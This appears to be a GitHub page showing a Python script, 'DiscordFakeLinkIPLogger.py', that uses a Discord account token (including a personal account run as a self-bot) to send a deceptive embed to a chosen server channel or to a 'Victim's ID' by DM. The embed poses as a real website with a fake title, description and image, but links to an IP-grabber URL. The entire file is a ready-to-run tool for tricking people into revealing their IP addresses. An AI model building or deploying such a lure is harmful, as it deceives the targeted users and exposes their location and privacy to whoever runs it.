-
Notifications
You must be signed in to change notification settings - Fork 0
/
DiscordFakeLinkIPLogger.py
133 lines (117 loc) · 6.46 KB
/
DiscordFakeLinkIPLogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import discord
from discord.ext import commands
client = commands.Bot(command_prefix="dw about this :D")
#ignore above
print("""
____ ____ _ _ ____ _ _ _ _ _ _ _ ___ _ ____ ____ ____ ____ ____
|___ |__| |_/ |___ | | |\ | |_/ | |__] | | | | __ | __ |___ |__/
| | | | \_ |___ |___ | | \| | \_ | | |___ |__| |__] |__] |___ | \
\n""")
#PLEASE NOTE THAT IF YOU USE THIS AS A SELF BOT THEN YOUR ACC CAN GET BANNED I'M NOT RESPONSIBLE IF ANYTHING BAD HAPPENS TO YOU
#theres a **VERY** **VERY** small chance of you getting banned when using it as a self bot/ using it on ur main, anyways enjoy! :)
continue0 = True
server = False
dm = False
print("Made By kunai#5936 (aka sigma#4268, it got disabled)\nGithub: https://github.com/OriginalAlien\nEnjoy And Contact For Help")
user_sendplace = input("\nSend The Fake Link IP Logger In a DM Or a Server?.\nType \"dm\" or \"server\": ")
if user_sendplace.lower() == "dm":
dm = True
server = False
elif user_sendplace.lower() == "server":
server = True
dm = False
if server == True: #send fake embed link in given server's given channel
tkn = input("\nWorks For Both Bot And Main/Alts\nToken: ")
message = input("Message To Send: ")
website_name = input("Website's Name: ")
website_description = input("Website's Embedded Description: ")
website_img = input("Website's Embedded Image Link: ")
ip_link = input("IP Grabber Link: ")
fakelink=discord.Embed(title=website_name, url=ip_link, description=website_description) #creating embed with given/input
fakelink.set_thumbnail(url=website_img) #adding the website's embedded img on discord to the embed
print("\nEmbed Created!\n")
@client.event
async def on_ready():
try: #error catch
server_id = int(input("Enter Server ID: "))
channel_id = int(input("Enter Channel ID: "))
except ValueError: #error solve
print("\nError: ValueError\nPlease Enter Valid Server/Channel ID Without Quotes And In Only Integers/Whole Numbers.")
server_id = int(input("Enter Server ID: "))
channel_id = int(input("Enter Channel ID: "))
server = client.get_guild(server_id) #access server by id
channel = client.get_channel(channel_id) #access server's channel by id
send = input("\nAll Set!\nSend Fake Link?\nType \"y\" To Send: ")
if send.lower() == "y": #if you type yes then
await channel.send(message, embed=fakelink) #sends message and embed
print(f'\nSent in {server.name}, #{channel.name}') #shows where it sent
while continue0 == True: #turn to False to stop the code below from executing
again = input("\nSend Again?\nType \"y\" To Send Again\nType \"n\" To Stop\n\nSend Again?: ")
if again.lower() == "y": #if you typed "y" then it sends again
await channel.send(message, embed=fakelink) #sends message and embed
print(f'Sent in {server.name}, #{channel.name}') #shows where it sent
elif again.lower() == "n": #or else if u type "n" it breaks the loop and since its the end, it also ends.
print("\nGood Bye Have A Good Day/Night! :) 👋")
break
elif send.lower() == "":
while send == "":
send = input("\nSend Fake Link?\nType \"y\" To Send: ")
if send.lower() == "y":
break
await channel.send(message, embed=fakelink) #sends message and embed
print(f'\nSent in {server.name}, #{channel.name}') #shows where it sent
while continue0 == True: #turn to False to stop the code below from executing
again = input("\nSend Again?\nType \"y\" To Send Again\nType \"n\" To Stop\n\nSend Again?: ")
if again.lower() == "y": #if you typed "y" then it sends again
await channel.send(message, embed=fakelink) #sends message and embed
print(f'Sent in {server.name}, #{channel.name}') #shows where it sent
elif again.lower() == "n": #or else if u type "n" it breaks the loop and since its the end, it also ends.
print("\nGood Bye Have A Good Day/Night! :) 👋")
break
if dm == True: #dm fake embed link
tkn = input("\nWorks For Both Bot And Main/Alts\nToken: ")
message = input("Message To Send: ")
website_name = input("Website's Name: ")
website_description = input("Website's Embedded Description: ")
website_img = input("Website's Embedded Image Link: ")
ip_link = input("IP Grabber Link: ")
dmfakelink=discord.Embed(title=website_name, url=ip_link, description=website_description) #creating embed with given/input
dmfakelink.set_thumbnail(url=website_img) #adding the website's embedded img on discord to the embed
print("\nEmbed Created!\n")
@client.event
async def on_ready():
try: #error catch
user_id = int(input("Victim's ID: "))
except ValueError: #error solve
print("\nError: ValueError\nPlease Enter Valid Server/Channel ID Without Quotes And In Only Integers/Whole Numbers.")
user_id = int(input("Victim's User ID: "))
send = input("\nAll Set!\nSend Fake Link?\nType \"y\" To Send: ")
victim = await client.fetch_user(user_id)
channel = await victim.create_dm()
if send.lower() == "y": #if you type yes then
await channel.send(message, embed=dmfakelink)
print(f'\nSent in to {user_id} ({victim})') #shows where it sent
while continue0 == True: #turn to False to stop the code below from executing
again = input("\nSend Again?\nType \"y\" To Send Again\nType \"n\" To Stop\n\nSend Again?: ")
if again.lower() == "y": #if you typed "y" then it sends again
await channel.send(message, embed=dmfakelink) #sends message and embed
print(f'Sent to {user_id}, {victim}') #shows where it sent
elif again.lower() == "n": #or else if u type "n" it breaks the loop and since its the end, it also ends.
print("\nGood Bye Have A Good Day/Night! :) 👋")
break
elif send.lower() == "":
while send == "":
send = input("\nSend Fake Link?\nType \"y\" To Send: ")
if send.lower() == "y":
break
await channel.send(message, embed=dmfakelink) #sends message and embed
print(f'\nSent to {user_id}, {victim}') #shows where it sent
while continue0 == True: #turn to False to stop the code below from executing
again = input("\nSend Again?\nType \"y\" To Send Again\nType \"n\" To Stop\n\nSend Again?: ")
if again.lower() == "y": #if you typed "y" then it sends again
await channel.send(message, embed=dmfakelink) #sends message and embed
print(f'Sent to {user_id}, {victim}') #shows where it sent
elif again.lower() == "n": #or else if u type "n" it breaks the loop and since its the end, it also ends.
print("\nGood Bye Have A Good Day/Night! :) 👋")
break
client.run(tkn, bot=False) #runs code when executed